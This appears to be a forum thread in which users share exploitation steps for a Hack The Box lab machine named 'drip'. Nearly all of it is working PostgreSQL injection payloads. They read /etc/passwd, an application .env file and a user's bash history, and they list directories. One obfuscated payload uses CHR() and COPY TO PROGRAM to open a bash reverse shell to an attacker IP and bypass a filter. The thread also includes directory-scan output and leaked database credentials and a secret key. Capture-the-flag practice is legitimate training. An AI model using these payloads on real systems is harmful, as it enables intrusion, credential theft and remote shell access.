[jonklem]

''; SELECT pg_read_file('/etc/passwd', 0, 1000); works. may be able to exfiltrate a configuration file

[0xbeef]

http://dev-a3f1-01.drip.htb/login

How did you get this ?

[ThreeCleaves]

http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.

[jonklem]

''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000); --

gives us:
# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'

[LiTEE]

http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.

or curl http://drip.darkcorp.htb/dashboard/apps/.../routes.py

[0xbeef]

http://dev-a3f1-01.drip.htb/login

How did you get this ?

it was in bcase's email.

Got it now, thanks

[darknesst]

we can use this command to ls directories from the SQL injection point
''; SELECT * FROM pg_ls_dir('/etc/'); --

[fr34cker]

''; SELECT * FROM pg_read_file('/home/ebelford/.bash_history')

[hijoxi6719]

DO $$ DECLARE     c text; BEGIN     c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||         ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1"''';     EXECUTE c; END $$;

Reverse shell via SQLi with "WAF" bypass

[samuelballsiu1]

[22:01:07] Starting: dashboard/ [22:01:15] 200 -  796B  - /dashboard/.env [22:01:46] 301 -  169B  - /dashboard/__pycache__  ->  http://drip.darkcorp.htb/dashboard/__pycache__/ [22:02:35] 301 -  169B  - /dashboard/apps  ->  http://drip.darkcorp.htb/dashboard/apps/ [22:04:04] 301 -  169B  - /dashboard/media  ->  http://drip.darkcorp.htb/dashboard/media/ [22:04:36] 200 -  330B  - /dashboard/requirements.txt

http://drip.darkcorp.htb/dashboard/.env

# True for development, False for production DEBUG=False # Flask ENV FLASK_APP=run.py FLASK_ENV=development # If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE> # Used for CDN (in production) # No Slash at the end ASSETS_ROOT=/static/assets # If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresql DB_HOST=localhost DB_NAME=dripmail DB_USERNAME=dripmail_dba DB_PASS=2Qa2SsBkQvsc DB_PORT=5432 SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail' SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq' MAIL_SERVER = 'drip.htb' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None MAIL_DEFAULT_SENDER = 'support@drip.htb'

http://drip.darkcorp.htb/dashboard/requirements.txt

flask==2.2.5 Werkzeug==2.3.7 jinja2==3.1.2 flask-login==0.6.2 flask_migrate==4.0.4 WTForms==3.0.1 flask_wtf==1.2.1 flask-sqlalchemy==3.0.5 sqlalchemy==2.0.21 email_validator==2.0.0 flask-restx==1.1.0 python-dotenv==0.19.2 gunicorn==20.1.0 Flask-Minify==0.37 flask-dance==7.0.0 blinker==1.6.2 # flask_mysqldb # psycopg2-binary

How did you even found out the http://drip.darkcorp.htb?